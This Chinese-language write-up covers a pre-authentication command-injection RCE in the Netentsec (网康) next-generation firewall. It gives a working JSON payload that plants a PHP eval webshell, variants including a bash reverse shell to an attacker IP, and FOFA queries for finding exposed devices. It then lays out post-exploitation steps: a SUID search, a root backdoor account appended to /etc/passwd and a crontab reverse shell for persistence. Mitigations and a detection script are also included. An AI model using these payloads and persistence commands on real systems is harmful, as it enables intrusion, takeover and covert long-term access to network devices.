网康防火墙前台RCE及分析
字数 1337 2025-08-05 11:39:35

网康防火墙前台RCE漏洞分析与利用教学文档

漏洞概述

网康下一代防火墙(NGFW)是一款高性能应用层防火墙,用于网络威胁防护。该漏洞是一个前台远程代码执行(RCE)漏洞,危害性高,允许攻击者通过构造特定请求在目标系统上执行任意命令。

漏洞影响

  • 影响产品:网康下一代防火墙(NGFW)
  • 漏洞类型:命令注入导致的远程代码执行
  • 危害等级:高危
  • 影响版本:特定版本(具体版本需进一步确认)
  • 识别特征:app="网康科技-下一代防火墙" (可通过FOFA搜索)

漏洞利用

基本利用POC

POST /directdata/direct/router HTTP/1.1
Host: [目标IP]
Content-Type: application/json

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17
}

利用说明

  1. 上述POC会在目标系统的/var/www/html/目录下创建名为test.php的WebShell文件
  2. 文件内容为<?php @eval($_POST[a]);?>
  3. 成功执行后,可通过蚁剑等工具连接WebShell,密码为a

变种利用

  1. 直接执行命令
"data":["/var/www/html/b.txt;whoami>/var/www/html/result.txt"]
  1. 反弹Shell
"data":["/var/www/html/b.txt;bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1"]
  1. 多命令组合
"data":["/var/www/html/b.txt;id;uname -a;cat /etc/passwd>/var/www/html/info.txt"]

漏洞分析

漏洞入口

漏洞位于/directdata/direct/router路由处,处理JSON格式的RPC请求。

代码执行流程

  1. 请求首先由DirectController.phprouterAction方法处理
  2. 调用Ext_Direct::run($this->getRequest())处理请求
  3. 根据action参数(SSLVPN_Resource)实例化对应类
  4. 调用method参数指定的方法(deleteImage)
  5. 最终在SSLVPN_Resource类的deleteImage方法中执行命令注入

关键漏洞代码

applications/Models/SSLVPN/Resource.php中的deleteImage方法:

public function deleteImage($params){
    $basePath = '/var/www/html/';
    $imgPath = $this->imagePath;
    $params = $params->data;
    $cmd = "cd $imgPath \n /bin/rm -rf ";
    $existDefault=false;
    foreach ($params as $img){
        if($img=='default.png'){
            $existDefault=true;
        }else{
            $cmd.=$img.' ';
        }
    }
    Ns_debug_log($cmd,'x.log');
    shell_exec($cmd);
    // ...
}

漏洞成因

  1. 用户输入的data参数未经任何过滤直接拼接到命令中
  2. 使用shell_exec执行拼接后的命令
  3. 攻击者可通过分号;分隔命令,实现命令注入

渗透测试步骤

1. 目标识别

使用FOFA搜索:

app="网康科技-下一代防火墙"

2. 漏洞验证

发送基本POC,检查是否创建了test.php文件:

http://[目标IP]/test.php

3. 信息收集

通过WebShell执行命令收集信息:

<?php system('id'); ?>
<?php system('uname -a'); ?>
<?php system('cat /etc/passwd'); ?>

4. 权限提升

检查当前用户权限和可能的提权路径:

<?php system('sudo -l'); ?>
<?php system('find / -perm -4000 -type f 2>/dev/null'); ?>

5. 持久化维持

创建后门账户或计划任务:

<?php system('echo "backdoor::0:0::/:/bin/bash" >> /etc/passwd'); ?>
<?php system('echo "* * * * * root bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1" >> /etc/crontab'); ?>

防御措施

临时缓解方案

  1. 限制访问/directdata/direct/router路径
  2. 监控系统日志中异常的shell_exec调用
  3. 检查/var/www/html/目录下可疑的PHP文件

长期修复方案

  1. 升级到官方最新版本
  2. 对用户输入进行严格过滤和验证
  3. 避免直接拼接用户输入到系统命令中
  4. 使用白名单方式限制可执行的操作
  5. 最小化Web服务运行权限

漏洞检测脚本示例

import requests
import sys

def check_vulnerability(target):
    headers = {"Content-Type": "application/json"}
    payload = {
        "action": "SSLVPN_Resource",
        "method": "deleteImage",
        "data": [{
            "data": ["/var/www/html/test.txt;echo 'VULNERABLE' > /var/www/html/vuln_check.txt"]
        }],
        "type": "rpc",
        "tid": 17
    }
    
    try:
        r = requests.post(f"{target}/directdata/direct/router", json=payload, headers=headers, timeout=10)
        check = requests.get(f"{target}/vuln_check.txt", timeout=5)
        if "VULNERABLE" in check.text:
            print(f"[+] {target} 存在漏洞")
            return True
        else:
            print(f"[-] {target} 不存在漏洞")
            return False
    except Exception as e:
        print(f"[!] 检测{target}时出错: {str(e)}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python check.py <target_url>")
        sys.exit(1)
    
    target = sys.argv[1].strip("/")
    check_vulnerability(target)

总结

该漏洞展示了命令注入漏洞的典型特征:用户输入未经充分验证直接拼接到系统命令中。在安全开发中,应当:

  1. 永远不要信任用户输入
  2. 使用安全的API替代直接执行系统命令
  3. 实施最小权限原则
  4. 对输入实施严格的白名单验证

对于安全研究人员,此漏洞也展示了从POC到完整分析的过程,包括:

  • 通过POC理解漏洞大致原理
  • 通过系统命令进行信息收集
  • 跟踪代码执行流程定位漏洞点
  • 分析漏洞成因和利用方式
网康防火墙前台RCE漏洞分析与利用教学文档 漏洞概述 网康下一代防火墙(NGFW)是一款高性能应用层防火墙,用于网络威胁防护。该漏洞是一个前台远程代码执行(RCE)漏洞,危害性高,允许攻击者通过构造特定请求在目标系统上执行任意命令。 漏洞影响 影响产品:网康下一代防火墙(NGFW) 漏洞类型:命令注入导致的远程代码执行 危害等级:高危 影响版本:特定版本(具体版本需进一步确认) 识别特征: app="网康科技-下一代防火墙" (可通过FOFA搜索) 漏洞利用 基本利用POC 利用说明 上述POC会在目标系统的 /var/www/html/ 目录下创建名为 test.php 的WebShell文件 文件内容为 <?php @eval($_POST[a]);?> 成功执行后,可通过蚁剑等工具连接WebShell,密码为 a 变种利用 直接执行命令 : 反弹Shell : 多命令组合 : 漏洞分析 漏洞入口 漏洞位于 /directdata/direct/router 路由处,处理JSON格式的RPC请求。 代码执行流程 请求首先由 DirectController.php 的 routerAction 方法处理 调用 Ext_Direct::run($this->getRequest()) 处理请求 根据 action 参数( SSLVPN_Resource )实例化对应类 调用 method 参数指定的方法( deleteImage ) 最终在 SSLVPN_Resource 类的 deleteImage 方法中执行命令注入 关键漏洞代码 applications/Models/SSLVPN/Resource.php 中的 deleteImage 方法: 漏洞成因 用户输入的 data 参数未经任何过滤直接拼接到命令中 使用 shell_exec 执行拼接后的命令 攻击者可通过分号 ; 分隔命令,实现命令注入 渗透测试步骤 1. 目标识别 使用FOFA搜索: 2. 漏洞验证 发送基本POC,检查是否创建了 test.php 文件: 3. 信息收集 通过WebShell执行命令收集信息: 4. 权限提升 检查当前用户权限和可能的提权路径: 5. 持久化维持 创建后门账户或计划任务: 防御措施 临时缓解方案 限制访问 /directdata/direct/router 路径 监控系统日志中异常的 shell_exec 调用 检查 /var/www/html/ 目录下可疑的PHP文件 长期修复方案 升级到官方最新版本 对用户输入进行严格过滤和验证 避免直接拼接用户输入到系统命令中 使用白名单方式限制可执行的操作 最小化Web服务运行权限 漏洞检测脚本示例 总结 该漏洞展示了命令注入漏洞的典型特征:用户输入未经充分验证直接拼接到系统命令中。在安全开发中,应当: 永远不要信任用户输入 使用安全的API替代直接执行系统命令 实施最小权限原则 对输入实施严格的白名单验证 对于安全研究人员,此漏洞也展示了从POC到完整分析的过程,包括: 通过POC理解漏洞大致原理 通过系统命令进行信息收集 跟踪代码执行流程定位漏洞点 分析漏洞成因和利用方式